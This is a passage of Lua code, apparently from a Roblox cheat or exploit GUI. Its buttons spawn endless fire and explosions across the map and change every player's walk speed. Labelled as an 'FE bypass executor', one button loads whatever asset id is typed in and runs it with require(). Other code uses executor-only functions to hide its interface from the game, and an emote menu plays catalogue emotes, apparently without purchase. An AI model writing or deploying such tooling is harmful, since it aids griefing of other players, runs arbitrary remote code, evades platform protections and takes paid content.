Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) end; task.spawn(C_32); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_34() local script = G2L["34"]; script.Parent.MouseButton1Click:Connect(function() local Lighting = game:GetService("Lighting") local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting) function zigzag(X) return math.acos(math.cos(X*math.pi))/math.pi end Counter = 0 Lighting.TimeOfDay = "15:00" while wait(0.01) do ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1) Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1) Counter += 0.01 end end) end; task.spawn(C_34); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_36() local script = G2L["36"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_36); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_3a() local script = G2L["3a"]; script.Parent.MouseButton1Down:Connect(function() while true do explosion = Instance.new("Explosion") explosion.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) explosion.Parent = game.Workspace wait() end end) end; task.spawn(C_3a); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_3c() local script = G2L["3c"]; script.Parent.MouseButton1Down:Connect(function() for i,p in pairs(game:GetService("Players"):GetChildren()) do if p.ClassName == "Player" then p.Character:FindFirstChildOfClass("Humanoid").WalkSpeed += 25 end end end) end; task.spawn(C_3c); -- StarterGui.ScreenGui.Frame.LocalScript local function C_3d() local script = G2L["3d"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_3d); return G2L["1"], require; end) end; task.spawn(C_14); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_16() local script = G2L["16"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") -- Create main GUI local gui = Instance.new("ScreenGui") gui.Name = "ExecutorGUI" gui.ResetOnSpawn = false gui.Parent = playerGui -- Toggle Button local toggleButton = Instance.new("TextButton") toggleButton.Size = UDim2.new(0, 100, 0, 30) toggleButton.Position = UDim2.new(0, 10, 0, 10) toggleButton.Text = "" toggleButton.Font = Enum.Font.SourceSansBold toggleButton.TextSize = 24 toggleButton.BackgroundColor3 = Color3.fromRGB(85, 85, 85) toggleButton.TextColor3 = Color3.new(1, 1, 1) toggleButton.Parent = gui -- Main Frame local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 250, 0, 180) frame.Position = UDim2.new(0.5, -125, 0.5, -90) frame.BackgroundColor3 = Color3.fromRGB(85, 85, 85) frame.BorderSizePixel = 0 frame.Active = true frame.Draggable = true frame.Visible = true frame.Parent = gui -- Toggle functionality toggleButton.MouseButton1Click:Connect(function() frame.Visible = not frame.Visible end) -- Title Label local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 30) title.Position = UDim2.new(0, 0, 0, 0) title.BackgroundTransparency = 1 title.Text = "serverside or fe bypass executor" title.Font = Enum.Font.SourceSansBold title.TextSize = 24 title.TextColor3 = Color3.new(1, 1, 1) title.Parent = frame -- Input Box local inputBox = Instance.new("TextBox") inputBox.Size = UDim2.new(1, -20, 0, 35) inputBox.Position = UDim2.new(0, 10, 0, 40) inputBox.PlaceholderText = "enter require" inputBox.Text = "" inputBox.ClearTextOnFocus = false inputBox.TextColor3 = Color3.new(0, 0, 0) inputBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255) inputBox.TextWrapped = true inputBox.Font = Enum.Font.SourceSansBold inputBox.TextSize = 18 inputBox.TextXAlignment = Enum.TextXAlignment.Center inputBox.TextYAlignment = Enum.TextYAlignment.Center inputBox.Parent = frame -- Execute Button local executeButton = Instance.new("TextButton") executeButton.Size = UDim2.new(1, -20, 0, 35) executeButton.Position = UDim2.new(0, 10, 0, 85) executeButton.Text = "execute require" executeButton.Font = Enum.Font.SourceSansBold executeButton.TextSize = 24 executeButton.BackgroundColor3 = Color3.fromRGB(0, 0, 255) executeButton.TextColor3 = Color3.new(1, 1, 1) executeButton.Parent = frame -- Clear Button local clearButton = Instance.new("TextButton") clearButton.Size = UDim2.new(1, -20, 0, 35) clearButton.Position = UDim2.new(0, 10, 0, 130) clearButton.Text = "clear" clearButton.Font = Enum.Font.SourceSansBold clearButton.TextSize = 24 clearButton.BackgroundColor3 = Color3.fromRGB(255, 0, 0) clearButton.TextColor3 = Color3.new(1, 1, 1) clearButton.Parent = frame -- Clear function clearButton.MouseButton1Click:Connect(function() inputBox.Text = "" end) -- Fake "execute" function (doesn't do anything functional on FE) executeButton.MouseButton1Click:Connect(function() local scriptText = inputBox.Text local assetId = scriptText:match("require%s*%(?%s*(%d+)%s*%)?") if assetId then local success, result = pcall(function() local objects = game:GetObjects("rbxassetid://" .. assetId) local obj = objects[1] if obj then obj.Parent = playerGui if obj:IsA("ModuleScript") then local modSuccess, modResult = pcall(function() return require(obj) end) if not modSuccess then warn("Error requiring module:", modResult) end end end end) if not success then warn("Error loading asset:", result) end else warn("Invalid require() syntax.") end end) local StigmanFroud = Instance.new("ScreenGui") local trajectory = Instance.new("ImageLabel") local R = Instance.new("ImageLabel") local Earth = Instance.new("ImageLabel") local Green = Instance.new("ImageLabel") StigmanFroud.Name = "Stigman Froud" StigmanFroud.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") StigmanFroud.ZIndexBehavior = Enum.ZIndexBehavior.Sibling StigmanFroud.DisplayOrder = 999 StigmanFroud.ResetOnSpawn = false trajectory.Name = "trajectory" trajectory.Parent = StigmanFroud trajectory.BackgroundColor3 = Color3.fromRGB(255, 255, 255) trajectory.BackgroundTransparency = 1.000 trajectory.Position = UDim2.new(0.45430705, 0, 0.430432826, 0) trajectory.Size = UDim2.new(0, 110, 0, 110) trajectory.Image = "http://www.roblox.com/asset/?id=0" trajectory.SliceScale = 3.000 R.Name = "R" R.Parent = StigmanFroud R.BackgroundColor3 = Color3.fromRGB(255, 255, 255) R.BackgroundTransparency = 1.000 R.Position = UDim2.new(0.45430705, 0, 0.430432826, 0) R.Size = UDim2.new(0, 110, 0, 110) R.ZIndex = 3 R.Image = "http://www.roblox.com/asset/?id=112451194481281" R.SliceScale = 3.000 Earth.Name = "Earth" Earth.Parent = R Earth.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Earth.BackgroundTransparency = 1.000 Earth.BorderColor3 = Color3.fromRGB(0, 0, 0) Earth.BorderSizePixel = 0 Earth.Position = UDim2.new(0.404999346, 0, 0.406818181, 0) Earth.Size = UDim2.new(0, 20, 0, 20) Earth.ZIndex = 4 Earth.Image = "rbxassetid://0" Green.Name = "Green" Green.Parent = StigmanFroud Green.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Green.BackgroundTransparency = 1.000 Green.BorderColor3 = Color3.fromRGB(0, 0, 0) Green.BorderSizePixel = 0 Green.Position = UDim2.new(0.00499999989, 0, 0.824999988, 0) Green.Size = UDim2.new(0, 110, 0, 110) Green.ZIndex = 6 Green.Image = "rbxassetid://112451194481281" Green.ImageTransparency = 1.000 local function AARC_fake_script() -- trajectory.Info local script = Instance.new('LocalScript', trajectory) local img = script.Parent local sonic = script.Parent img:TweenPosition(UDim2.new(0.451, 0,0.395, 0), "Out", "Linear", 0.4, false) wait(3) img:TweenPosition(UDim2.new(0.005, 0,0.619, 0), "Out", "Sine", 0.7, false) while true do wait(0.01) sonic.Rotation = sonic.Rotation +0.3 end end coroutine.wrap(AARC_fake_script)() local function LQERQ_fake_script() -- Earth.LocalScript local script = Instance.new('LocalScript', Earth) local Angle = 0; local AngleIncrement = 0.02; local OriginPos = script.Parent.Position; local Distance = 55; while wait() do Angle = Angle + AngleIncrement; local dirX = math.cos(Angle) -- X local dirY = math.sin(Angle) -- Y script.Parent.Position = OriginPos + UDim2.new(0, dirX * Distance, 0, dirY * Distance); end end coroutine.wrap(LQERQ_fake_script)() local function XBQODE_fake_script() -- R.Info local script = Instance.new('LocalScript', R) local img = script.Parent img:TweenPosition(UDim2.new(0.451, 0,0.395, 0), "Out", "Linear", 0.4, false) wait(3) img:TweenPosition(UDim2.new(0.005, 0,0.619, 0), "Out", "Sine", 0.7, false) end coroutine.wrap(XBQODE_fake_script)() local function NSHDR_fake_script() -- Green.LocalScript local script = Instance.new('LocalScript', Green) local Tween = game:GetService("TweenService") local Greenfn = script.Parent wait(2) while true do local TranspncyTween = Tween:Create(Greenfn, TweenInfo.new(0.5), {ImageTransparency = 0}) TranspncyTween:Play() wait(0.3) local TranspncyTween = Tween:Create(Greenfn, TweenInfo.new(0.5), {ImageTransparency = 1}) TranspncyTween:Play() wait(0.3) local TranspncyTween = Tween:Create(Greenfn, TweenInfo.new(0.5), {ImageTransparency = 0}) TranspncyTween:Play() wait(0.3) local TranspncyTween = Tween:Create(Greenfn, TweenInfo.new(0.5), {ImageTransparency = 1}) TranspncyTween:Play() wait(4) end end coroutine.wrap(NSHDR_fake_script)() local function UDIRPT_fake_script() -- Green.Info local script = Instance.new('LocalScript', Green) local img = script.Parent local GetName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId) img:TweenPosition(UDim2.new(0.451, 0,0.395, 0), "Out", "Linear", 0.4, false) wait(3) img:TweenPosition(UDim2.new(0.005, 0,0.619, 0), "Out", "Sine", 0.7, false) end coroutine.wrap(UDIRPT_fake_script)() local function WGFAMY_fake_script() -- StigmanFroud.LocalScript local script = Instance.new('LocalScript', StigmanFroud) local GetName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId) print("Loaded At",GetName.Name) wait(0.1) print("Welcome,",game.Players.LocalPlayer.Name) end coroutine.wrap(WGFAMY_fake_script)() end) end; task.spawn(C_16); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_18() local script = G2L["18"]; script.Parent.MouseButton1Click:Connect(function() --- Keybind to open for pc is "comma" -> " , " -- Made by Gi#7331 local env=getgenv() if env.LastExecuted and tick()-env.LastExecuted<30 then return end env.LastExecuted=tick() -- your script goes here print("Script executed!") game:GetService("StarterGui"):SetCore("SendNotification",{ Title = "Wait!", Text = "Please Wait, it just loading the button", Duration = 15}) if game:GetService("CoreGui"):FindFirstChild("Emotes") then game:GetService("CoreGui"):FindFirstChild("Emotes"):Destroy() end wait(1) local ContextActionService = game:GetService("ContextActionService") local HttpService = game:GetService("HttpService") local GuiService = game:GetService("GuiService") local CoreGui = game:GetService("CoreGui") local Open = Instance.new("TextButton") UICorner = Instance.new("UICorner") local MarketplaceService = game:GetService("MarketplaceService") local Players = game:GetService("Players") local StarterGui = game:GetService("StarterGui") local UserInputService = game:GetService("UserInputService") local LoadedEmotes, Emotes = {}, {} local function AddEmote(name: string, id: number, price: number?) LoadedEmotes[id] = false task.spawn(function() if not (name and id) then return end local success, date = pcall(function() local info = MarketplaceService:GetProductInfo(id) local updated = info.Updated return DateTime.fromIsoDate(updated):ToUniversalTime() end) if not success or not date then task.wait(10) AddEmote(name, id, price) return end local unix = os.time({ year = date.Year, month = date.Month, day = date.Day, hour = date.Hour, min = date.Minute, sec = date.Second }) LoadedEmotes[id] = true local emoteData = { name = name, id = id, icon = "rbxthumb://type=Asset&id=".. id .."&w=150&h=150", price = price or 0, lastupdated = unix, sort = {} } table.insert(Emotes, emoteData) end) end local function CreateButtonFromEmoteInfo(emote) local button = Instance.new("TextButton") button.Name = tostring(emote.id) button.Text = emote.name .. " - $" .. emote.price button.Size = UDim2.new(0, 200, 0, 50) button.BackgroundColor3 = Color3.fromRGB(60, 60, 60) button.TextColor3 = Color3.new(1, 1, 1) button.MouseButton1Click:Connect(function() print("Selected Emote: " .. emote.name .. ", ID: " .. emote.id) end) return button end local CurrentSort = "recentfirst" local FavoriteOff = "rbxassetid://10651060677" local FavoriteOn = "rbxassetid://10651061109" local FavoritedEmotes = {} local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "Emotes" ScreenGui.DisplayOrder = 2 ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ScreenGui.Enabled = true local BackFrame = Instance.new("Frame") BackFrame.Size = UDim2.new(0.9, 0, 0.5, 0) BackFrame.AnchorPoint = Vector2.new(0.5, 0.5) BackFrame.Position = UDim2.new(0.5, 0, 0.5, 0) BackFrame.SizeConstraint = Enum.SizeConstraint.RelativeYY BackFrame.BackgroundTransparency = 1 BackFrame.BorderSizePixel = 0 BackFrame.Parent = ScreenGui Open.Name = "Open" Open.Parent = ScreenGui Open.Draggable = true Open.Size = UDim2.new(0.05,0,0.114,0) Open.Position = UDim2.new(0.05, 0, 0.25, 0) Open.Text = "Close" Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Open.TextColor3 = Color3.fromRGB(255, 255, 255) Open.TextScaled = true Open.TextSize = 20 Open.Visible = true Open.BackgroundTransparency = .5 Open.MouseButton1Up:Connect(function() if Open.Text == "Open" then Open.Text = "Close" BackFrame.Visible = true else if Open.Text == "Close" then Open.Text = "Open" BackFrame.Visible = false end end end) UICorner.Name = "UICorner" UICorner.Parent = Open UICorner.CornerRadius = UDim.new(1, 0) local EmoteName = Instance.new("TextLabel") EmoteName.Name = "EmoteName" EmoteName.TextScaled = true EmoteName.AnchorPoint = Vector2.new(0.5, 0.5) EmoteName.Position = UDim2.new(-0.1, 0, 0.5, 0) EmoteName.Size = UDim2.new(0.2, 0, 0.2, 0) EmoteName.SizeConstraint = Enum.SizeConstraint.RelativeYY EmoteName.BackgroundColor3 = Color3.fromRGB(30, 30, 30) EmoteName.TextColor3 = Color3.new(1, 1, 1) EmoteName.BorderSizePixel = 0 EmoteName.Parent = BackFrame local Corner = Instance.new("UICorner") Corner.Parent = EmoteName local Loading = Instance.new("TextLabel", BackFrame) Loading.AnchorPoint = Vector2.new(0.5, 0.5) Loading.Text = "Fixing.." Loading.TextColor3 = Color3.new(1, 1, 1) Loading.BackgroundColor3 = Color3.new(0, 0, 0) Loading.TextScaled = true Loading.BackgroundTransparency = 0.5 Loading.Size = UDim2.fromScale(0.2, 0.1) Loading.Position = UDim2.fromScale(0.5, 0.2) Corner:Clone().Parent = Loading local Frame = Instance.new("ScrollingFrame") Frame.Size = UDim2.new(1, 0, 1, 0) Frame.CanvasSize = UDim2.new(0, 0, 0, 0) Frame.AutomaticCanvasSize = Enum.AutomaticSize.Y Frame.ScrollingDirection = Enum.ScrollingDirection.Y Frame.AnchorPoint = Vector2.new(0.5, 0.5) Frame.Position = UDim2.new(0.5, 0, 0.5, 0) Frame.BackgroundTransparency = 1 Frame.ScrollBarThickness = 5 Frame.BorderSizePixel = 0 Frame.MouseLeave:Connect(function() EmoteName.Text = "Select an Emote" end) Frame.Parent = BackFrame local Grid = Instance.new("UIGridLayout") Grid.CellSize = UDim2.new(0.105, 0, 0, 0) Grid.CellPadding = UDim2.new(0.006, 0, 0.006, 0) Grid.SortOrder = Enum.SortOrder.LayoutOrder Grid.Parent = Frame local SortFrame = Instance.new("Frame") SortFrame.Visible = false SortFrame.BorderSizePixel = 0 SortFrame.Position = UDim2.new(1, 5, -0.125, 0) SortFrame.Size = UDim2.new(0.2, 0, 0, 0) SortFrame.AutomaticSize = Enum.AutomaticSize.Y SortFrame.BackgroundTransparency = 1 Corner:Clone().Parent = SortFrame SortFrame.Parent = BackFrame local SortList = Instance.new("UIListLayout") SortList.Padding = UDim.new(0.02, 0) SortList.HorizontalAlignment = Enum.HorizontalAlignment.Center SortList.VerticalAlignment = Enum.VerticalAlignment.Top SortList.SortOrder = Enum.SortOrder.LayoutOrder SortList.Parent = SortFrame local function SortEmotes() for i,Emote in pairs(Emotes) do local EmoteButton = Frame:FindFirstChild(Emote.id) if not EmoteButton then continue end local IsFavorited = table.find(FavoritedEmotes, Emote.id) EmoteButton.LayoutOrder = Emote.sort[CurrentSort] + ((IsFavorited and 0) or #Emotes) EmoteButton.number.Text = Emote.sort[CurrentSort] end end local function createsort(order, text, sort) local CreatedSort = Instance.new("TextButton") CreatedSort.SizeConstraint = Enum.SizeConstraint.RelativeXX CreatedSort.Size = UDim2.new(1, 0, 0.2, 0) CreatedSort.BackgroundColor3 = Color3.fromRGB(30, 30, 30) CreatedSort.LayoutOrder = order CreatedSort.TextColor3 = Color3.new(1, 1, 1) CreatedSort.Text = text CreatedSort.TextScaled = true CreatedSort.BorderSizePixel = 0 Corner:Clone().Parent = CreatedSort CreatedSort.Parent = SortFrame CreatedSort.MouseButton1Click:Connect(function() SortFrame.Visible = false Open.Text = "Open" CurrentSort = sort SortEmotes() end) return CreatedSort end createsort(1, "Recently Updated First", "recentfirst") createsort(2, "Recently Updated Last", "recentlast") createsort(3, "Alphabetically First", "alphabeticfirst") createsort(4, "Alphabetically Last", "alphabeticlast") createsort(5, "Highest Price", "highestprice") createsort(6, "Lowest Price", "lowestprice") local SortButton = Instance.new("TextButton") SortButton.BorderSizePixel = 0 SortButton.AnchorPoint = Vector2.new(0.5, 0.5) SortButton.Position = UDim2.new(0.925, -5, -0.075, 0) SortButton.Size = UDim2.new(0.15, 0, 0.1, 0) SortButton.TextScaled = true SortButton.TextColor3 = Color3.new(1, 1, 1) SortButton.BackgroundColor3 = Color3.new(0, 0, 0) SortButton.BackgroundTransparency = 0.3 SortButton.Text = "Sort" SortButton.MouseButton1Click:Connect(function() SortFrame.Visible = not SortFrame.Visible Open.Text = "Open" end) Corner:Clone().Parent = SortButton SortButton.Parent = BackFrame local CloseButton = Instance.new("TextButton") CloseButton.BorderSizePixel = 0 CloseButton.AnchorPoint = Vector2.new(0.5, 0.5) CloseButton.Position = UDim2.new(0.075, 0, -0.075, 0) CloseButton.Size = UDim2.new(0.15, 0, 0.1, 0) CloseButton.TextScaled = true CloseButton.TextColor3 = Color3.new(1, 1, 1) CloseButton.BackgroundColor3 = Color3.new(0.5, 0, 0) CloseButton.BackgroundTransparency = 0.3 CloseButton.Text = "Kill Gui" CloseButton.MouseButton1Click:Connect(function() ScreenGui:Destroy() end) Corner:Clone().Parent = CloseButton CloseButton.Parent = BackFrame local SearchBar = Instance.new("TextBox") SearchBar.BorderSizePixel = 0 SearchBar.AnchorPoint = Vector2.new(0.5, 0.5) SearchBar.Position = UDim2.new(0.5, 0, -0.075, 0) SearchBar.Size = UDim2.new(0.55, 0, 0.1, 0) SearchBar.TextScaled = true SearchBar.PlaceholderText = "Search" SearchBar.TextColor3 = Color3.new(1, 1, 1) SearchBar.BackgroundColor3 = Color3.new(0, 0, 0) SearchBar.BackgroundTransparency = 0.3 SearchBar:GetPropertyChangedSignal("Text"):Connect(function() local text = SearchBar.Text:lower() local buttons = Frame:GetChildren() if text ~= text:sub(1,50) then SearchBar.Text = SearchBar.Text:sub(1,50) text = SearchBar.Text:lower() end if text ~= "" then for i,button in pairs(buttons) do if button:IsA("GuiButton") then local name = button:GetAttribute("name"):lower() if name:match(text) then button.Visible = true else button.Visible = false end end end else for i,button in pairs(buttons) do if button:IsA("GuiButton") then button.Visible = true end end end end) Corner:Clone().Parent = SearchBar SearchBar.Parent = BackFrame local function openemotes(name, state, input) if state == Enum.UserInputState.Begin then BackFrame.Visible = not BackFrame.Visible Open.Text = "Open" end end ContextActionService:BindCoreActionAtPriority( "Emote Menu", openemotes, true, 2001, Enum.KeyCode.Comma ) local inputconnect ScreenGui:GetPropertyChangedSignal("Enabled"):Connect(function() if BackFrame.Visible == false then EmoteName.Text = "Select an Emote" SearchBar.Text = "" SortFrame.Visible = false GuiService:SetEmotesMenuOpen(false) inputconnect = UserInputService.InputBegan:Connect(function(input, processed) if not processed then if input.UserInputType == Enum.UserInputType.MouseButton1 then BackFrame.Visible = false Open.Text = "Open" end end end) else inputconnect:Disconnect() end end) GuiService.EmotesMenuOpenChanged:Connect(function(isopen) if isopen then BackFrame.Visible = false Open.Text = "Open" end end) GuiService.MenuOpened:Connect(function() BackFrame.Visible = false Open.Text = "Open" end) if not game:IsLoaded() then game.Loaded:Wait() end --thanks inf yield local SynV3 = syn and DrawingImmediate if (not is_sirhurt_closure) and (not SynV3) and (syn and syn.protect_gui) then syn.protect_gui(ScreenGui) ScreenGui.Parent = CoreGui elseif get_hidden_gui or gethui then local hiddenUI = get_hidden_gui or gethui ScreenGui.Parent = hiddenUI() else ScreenGui.Parent = CoreGui end local function SendNotification(title, text) if syn and syn.toast_notification then syn.toast_notification({ Type = ToastType.Error, Title = title, Content = text }) else StarterGui:SetCore("SendNotification", { Title = title, Text = text }) end end local LocalPlayer = Players.LocalPlayer local function PlayEmote(name: string, id: IntValue) BackFrame.Visible = false Open.Text = "Open" SearchBar.Text = "" local Humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid") local Description = Humanoid and Humanoid:FindFirstChildOfClass("HumanoidDescription") if not Description then return end if LocalPlayer.Character.Humanoid.RigType ~= Enum.HumanoidRigType.R6 then local succ, err = pcall(function() Humanoid:PlayEmoteAndGetAnimTrackById(id) end) if not succ then Description:AddEmote(name, id) Humanoid:PlayEmoteAndGetAnimTrackById(id) end else SendNotification( "r6? lol", "you gotta be r15 dude" ) end end local function WaitForChildOfClass(parent, class) local child = parent:FindFirstChildOfClass(class) while not child or child.ClassName ~= class do child = parent.ChildAdded:Wait() end return child end local Emotes = { { name = "Around Town", id = 3576747102, icon = "rbxthumb://type=Asset&id=3576747102&w=150&h=150", price = 1000, lastupdated = 1663264200, sort = {} }, { name = "TWICE TAKEDOWN DANCE 2", id = 85623000473425, icon = "rbxthumb://type=Asset&id=85623000473425&w=150&h=150", price = 100, lastupdated = 1752192000, sort = {} }, { name = "Fashionable", id = 3576745472, icon = "rbxthumb://type=Asset&id=3576745472&w=150&h=150", price = 750, lastupdated = 1663281649, sort = {} }, { name = "Swish", id = 3821527813, icon = "rbxthumb://type=Asset&id=3821527813&w=150&h=150", price = 750, lastupdated = 1663281651, sort = {} }, { name = "Top Rock", id = 3570535774, icon = "rbxthumb://type=Asset&id=3570535774&w=150&h=150", price = 750, lastupdated = 1663281651, sort = {} }, { name = "Fancy Feet", id = 3934988903, icon = "rbxthumb://type=Asset&id=3934988903&w=150&h=150", price = 500, lastupdated = 1663281649, sort = {} }, { name = "Idol", id = 4102317848, icon = "rbxthumb://type=Asset&id=4102317848&w=150&h=150", price = 500, lastupdated = 1663281650, sort = {} }, { name = "Sneaky", id = 3576754235, icon = "rbxthumb://type=Asset&id=3576754235&w=150&h=150", price = 500, lastupdated = 1663281651, sort = {} }, { name = "Elton John - Piano Jump", id = 11453096488, icon = "rbxthumb://type=Asset&id=11453096488&w=150&h=150", price = 500, lastupdated = 1668382206, sort = {} }, { name = "Cartwheel - George Ezra", id = 10370929905, icon = "rbxthumb://type=Asset&id=10370929905&w=150&h=150", price = 450, lastupdated = 1659650848, sort = {} }, { name = "Super Charge", id = 10478368365, icon = "rbxthumb://type=Asset&id=10478368365&w=150&h=150", price = 450, lastupdated = 1659649594, sort = {} }, { name = "Rise Above - The Chainsmokers", id = 13071993910, icon = "rbxthumb://type=Asset&id=13071993910&w=150&h=150", price = 400, lastupdated = 1681411386, sort = {} }, { name = "Elton John - Elevate", id = 11394056822, icon = "rbxthumb://type=Asset&id=11394056822&w=150&h=150", price = 400, lastupdated = 1667432393, sort = {} }, { name = "Sturdy Dance - Ice Spice", id = 17746270218, icon = "rbxthumb://type=Asset&id=17746270218&w=150&h=150", price = 300, lastupdated = 1717619314, sort = {} }, { name = "YUNGBLUD – HIGH KICK", id = 14022978026, icon = "rbxthumb://type=Asset&id=14022978026&w=150&h=150", price = 300, lastupdated = 1691769382, sort = {} }, { name = "Robot", id = 3576721660, icon = "rbxthumb://type=Asset&id=3576721660&w=150&h=150", price = 250, lastupdated = 1663281650, sort = {} }, { name = "Louder", id = 3576751796, icon = "rbxthumb://type=Asset&id=3576751796&w=150&h=150", price = 250, lastupdated = 1663281650, sort = {} }, { name = "Twirl", id = 3716633898, icon = "rbxthumb://type=Asset&id=3716633898&w=150&h=150", price = 250, lastupdated = 1663281651, sort = {} }, { name = "Bodybuilder", id = 3994130516, icon = "rbxthumb://type=Asset&id=3994130516&w=150&h=150", price = 200, lastupdated = 1663281649, sort = {} }, { name = "NBA Monster Dunk", id = 117511481049460, icon = "rbxthumb://type=Asset&id=117511481049460&w=150&h=150", price = 200, lastupdated = 1739396302, sort = {} }, { name = "Jacks", id = 3570649048, icon = "rbxthumb://type=Asset&id=3570649048&w=150&h=150", price = 200, lastupdated = 1663281650, sort = {} }, { name = "Shuffle", id = 4391208058, icon = "rbxthumb://type=Asset&id=4391208058&w=150&h=150", price = 200, lastupdated = 1663281651, sort = {} }, { name = "Elton John - Still Standing", id = 11435177473, icon = "rbxthumb://type=Asset&id=11435177473&w=150&h=150", price = 200, lastupdated = 1667779047, sort = {} }, { name = "Elton John - Cat Man", id = 11435175895, icon = "rbxthumb://type=Asset&id=11435175895&w=150&h=150", price = 200, lastupdated = 1667535727, sort = {} }, { name = "Shrek Roar", id = 18524331128, icon = "rbxthumb://type=Asset&id=18524331128&w=150&h=150", price = 200, lastupdated = 1721176055, sort = {} }, { name = "Dorky Dance", id = 4212499637, icon = "rbxthumb://type=Asset&id=4212499637&w=150&h=150", price = 200, lastupdated = 1663281649, sort = {} }, { name = "HOLIDAY Dance - Lil Nas X (LNX)", id = 5938396308, icon = "rbxthumb://type=Asset&id=5938396308&w=150&h=150", price = 190, lastupdated = 1663281650, sort = {} }, { name = "Old Town Road Dance - Lil Nas X (LNX)", id = 5938394742, icon = "rbxthumb://type=Asset&id=5938394742&w=150&h=150", price = 190, lastupdated = 1663281650, sort = {} }, { name = "Panini Dance - Lil Nas X (LNX)", id = 5915781665, icon = "rbxthumb://type=Asset&id=5915781665&w=150&h=150", price = 190, lastupdated = 1663281650, sort = {} }, { name = "Rodeo Dance - Lil Nas X (LNX)", id = 5938397555, icon = "rbxthumb://type=Asset&id=5938397555&w=150&h=150", price = 190, lastupdated = 1663281651, sort = {} }, { name = "Drum Master - Royal Blood", id = 6531538868, icon = "rbxthumb://type=Asset&id=6531538868&w=150&h=150", price = 190, lastupdated = 1663281649, sort = {} }, { name = "It Ain't My Fault - Zara Larsson", id = 6797948622, icon = "rbxthumb://type=Asset&id=6797948622&w=150&h=150", price = 190, lastupdated = 1663281650, sort = {} }, { name = "Flex Walk", id = 15506506103, icon = "rbxthumb://type=Asset&id=15506506103&w=150&h=150", price = 175, lastupdated = 1705451683, sort = {} }, { name = "Dizzy", id = 3934986896, icon = "rbxthumb://type=Asset&id=3934986896&w=150&h=150", price = 175, lastupdated = 1663281649, sort = {} }, { name = "Uprise - Tommy Hilfiger", id = 10275057230, icon = "rbxthumb://type=Asset&id=10275057230&w=150&h=150", price = 170, lastupdated = 1660240736, sort = {} }, { name = "Tommy - Archer", id = 13823339506, icon = "rbxthumb://type=Asset&id=13823339506&w=150&h=150", price = 170, lastupdated = 1687980934, sort = {} }, { name = "Mean Mug - Tommy Hilfiger", id = 10214415687, icon = "rbxthumb://type=Asset&id=10214415687&w=150&h=150", price = 170, lastupdated = 1660240753, sort = {} }, { name = "Rock Star - Royal Blood", id = 6533100850, icon = "rbxthumb://type=Asset&id=6533100850&w=150&h=150", price = 170, lastupdated = 1663281651, sort = {} }, { name = "Floor Rock Freeze - Tommy Hilfiger", id = 10214411646, icon = "rbxthumb://type=Asset&id=10214411646&w=150&h=150", price = 170, lastupdated = 1658271615, sort = {} }, { name = "Saturday Dance - Twenty One Pilots", id = 7422833723, icon = "rbxthumb://type=Asset&id=7422833723&w=150&h=150", price = 170, lastupdated = 1663281651, sort = {} }, { name = "V Pose - Tommy Hilfiger", id = 10214418283, icon = "rbxthumb://type=Asset&id=10214418283&w=150&h=150", price = 170, lastupdated = 1660240743, sort = {} }, { name = "Boxing Punch - KSI", id = 7202896732, icon = "rbxthumb://type=Asset&id=7202896732&w=150&h=150", price = 170, lastupdated = 1663281649, sort = {} }, { name = "Drum Solo - Royal Blood", id = 6532844183, icon = "rbxthumb://type=Asset&id=6532844183&w=150&h=150", price = 170, lastupdated = 1663281649, sort = {} }, { name = "Frosty Flair - Tommy Hilfiger", id = 10214406616, icon = "rbxthumb://type=Asset&id=10214406616&w=150&h=150", price = 170, lastupdated = 1658271594, sort = {} }, { name = "Hips Poppin' - Zara Larsson", id = 6797919579, icon = "rbxthumb://type=Asset&id=6797919579&w=150&h=150", price = 170, lastupdated = 1663281650, sort = {} }, { name = 